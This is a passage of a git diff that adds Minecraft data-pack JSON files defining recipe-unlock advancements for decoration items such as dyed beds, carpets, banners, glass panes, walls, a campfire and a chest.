"minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/black_carpet.json b/src/data/minecraft/advancements/recipes/decorations/black_carpet.json new file mode 100644 index 00000000..259e2f3d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/black_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_carpet" + ] + }, + "criteria": { + "has_black_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_carpet" + } + } + }, + "requirements": [ + [ + "has_black_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/black_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/black_carpet_from_white_carpet.json new file mode 100644 index 00000000..ce5c6b5a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/black_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_black_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_black_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/black_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/black_glazed_terracotta.json new file mode 100644 index 00000000..e0ee13a0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/black_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_glazed_terracotta" + ] + }, + "criteria": { + "has_black_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_black_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/black_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/black_stained_glass_pane.json new file mode 100644 index 00000000..9b0ead7b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/black_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/black_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/black_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..9341fc40 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/black_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_black_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_black_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blackstone_wall.json b/src/data/minecraft/advancements/recipes/decorations/blackstone_wall.json new file mode 100644 index 00000000..839a244e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blackstone_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blackstone_wall" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blackstone_wall" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blackstone_wall_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/blackstone_wall_from_blackstone_stonecutting.json new file mode 100644 index 00000000..a2d955ad --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blackstone_wall_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blackstone_wall_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blackstone_wall_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blast_furnace.json b/src/data/minecraft/advancements/recipes/decorations/blast_furnace.json new file mode 100644 index 00000000..6c6c5a2e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blast_furnace.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blast_furnace" + ] + }, + "criteria": { + "has_smooth_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blast_furnace" + } + } + }, + "requirements": [ + [ + "has_smooth_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blue_banner.json b/src/data/minecraft/advancements/recipes/decorations/blue_banner.json new file mode 100644 index 00000000..76df505f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blue_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_banner" + ] + }, + "criteria": { + "has_blue_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_banner" + } + } + }, + "requirements": [ + [ + "has_blue_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blue_bed.json b/src/data/minecraft/advancements/recipes/decorations/blue_bed.json new file mode 100644 index 00000000..0b5cacaa --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blue_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_bed" + ] + }, + "criteria": { + "has_blue_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_bed" + } + } + }, + "requirements": [ + [ + "has_blue_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blue_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/blue_bed_from_white_bed.json new file mode 100644 index 00000000..bc328292 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blue_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blue_carpet.json b/src/data/minecraft/advancements/recipes/decorations/blue_carpet.json new file mode 100644 index 00000000..40089178 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blue_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_carpet" + ] + }, + "criteria": { + "has_blue_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_carpet" + } + } + }, + "requirements": [ + [ + "has_blue_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blue_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/blue_carpet_from_white_carpet.json new file mode 100644 index 00000000..3f35abea --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blue_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_blue_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blue_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/blue_glazed_terracotta.json new file mode 100644 index 00000000..f4566348 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blue_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_glazed_terracotta" + ] + }, + "criteria": { + "has_blue_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_blue_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blue_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/blue_stained_glass_pane.json new file mode 100644 index 00000000..675ed9c4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blue_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/blue_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/blue_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..36502a2f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/blue_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_blue_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brick_wall.json b/src/data/minecraft/advancements/recipes/decorations/brick_wall.json new file mode 100644 index 00000000..1524cf69 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brick_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brick_wall" + ] + }, + "criteria": { + "has_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brick_wall" + } + } + }, + "requirements": [ + [ + "has_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brick_wall_from_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/brick_wall_from_bricks_stonecutting.json new file mode 100644 index 00000000..d7ecef73 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brick_wall_from_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brick_wall_from_bricks_stonecutting" + ] + }, + "criteria": { + "has_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brick_wall_from_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brown_banner.json b/src/data/minecraft/advancements/recipes/decorations/brown_banner.json new file mode 100644 index 00000000..bc916827 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brown_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_banner" + ] + }, + "criteria": { + "has_brown_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_banner" + } + } + }, + "requirements": [ + [ + "has_brown_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brown_bed.json b/src/data/minecraft/advancements/recipes/decorations/brown_bed.json new file mode 100644 index 00000000..5220bcf6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brown_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_bed" + ] + }, + "criteria": { + "has_brown_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_bed" + } + } + }, + "requirements": [ + [ + "has_brown_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brown_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/brown_bed_from_white_bed.json new file mode 100644 index 00000000..099d3c81 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brown_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brown_carpet.json b/src/data/minecraft/advancements/recipes/decorations/brown_carpet.json new file mode 100644 index 00000000..7b90fd20 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brown_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_carpet" + ] + }, + "criteria": { + "has_brown_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_carpet" + } + } + }, + "requirements": [ + [ + "has_brown_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brown_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/brown_carpet_from_white_carpet.json new file mode 100644 index 00000000..ce983cbc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brown_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_brown_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_brown_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brown_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/brown_glazed_terracotta.json new file mode 100644 index 00000000..81a9374f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brown_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_glazed_terracotta" + ] + }, + "criteria": { + "has_brown_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_brown_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brown_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/brown_stained_glass_pane.json new file mode 100644 index 00000000..1d8f27bb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brown_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/brown_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/brown_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..1ef237dc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/brown_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_brown_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_brown_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/campfire.json b/src/data/minecraft/advancements/recipes/decorations/campfire.json new file mode 100644 index 00000000..efeb3b60 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/campfire.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:campfire" + ] + }, + "criteria": { + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_coal": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:coals" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:campfire" + } + } + }, + "requirements": [ + [ + "has_stick", + "has_coal", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cartography_table.json b/src/data/minecraft/advancements/recipes/decorations/cartography_table.json new file mode 100644 index 00000000..16cb7bd0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cartography_table.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cartography_table" + ] + }, + "criteria": { + "has_paper": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:paper" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cartography_table" + } + } + }, + "requirements": [ + [ + "has_paper", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/chain.json b/src/data/minecraft/advancements/recipes/decorations/chain.json new file mode 100644 index 00000000..f149a286 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/chain.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chain" + ] + }, + "criteria": { + "has_iron_nugget": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_nugget" + } + ] + } + }, + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chain" + } + } + }, + "requirements": [ + [ + "has_iron_nugget", + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/chest.json b/src/data/minecraft/advancements/recipes/decorations/chest.json new file mode 100644 index 00000000..57e5cf0f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/chest.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chest" + ] + }, + "criteria": { + "has_lots_of_items": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "slots": { + "occupied": { + "min": 10 + } + } + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chest" + } + } + }, + "requirements": [ + [ + "has_lots_of_items", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cobblestone_wall.json b/src/data/minecraft/advancements/recipes/decorations/cobblestone_wall.json new file mode 100644 index 00000000..104460ca --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cobblestone_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cobblestone_wall" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cobblestone_wall" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/cobblestone_wall_from_cobblestone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/cobblestone_wall_from_cobblestone_stonecutting.json new file mode 100644 index 00000000..278defe0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/cobblestone_wall_from_cobblestone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cobblestone_wall_from_cobblestone_stonecutting" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cobblestone_wall_from_cobblestone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/composter.json b/src/data/minecraft/advancements/recipes/decorations/composter.json new file mode 100644 index 00000000..6e8f947c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/composter.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:composter" + ] + }, + "criteria": { + "has_wood_slab": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:wooden_slabs" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:composter" + } + } + }, + "requirements": [ + [ + "has_wood_slab", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/crafting_table.json b/src/data/minecraft/advancements/recipes/decorations/crafting_table.json new file mode 100644 index 00000000..c1ed55bc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/crafting_table.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crafting_table" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crafting_table" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/crimson_fence.json b/src/data/minecraft/advancements/recipes/decorations/crimson_fence.json new file mode 100644 index 00000000..3be71e7e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/crimson_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_fence" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_fence" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git 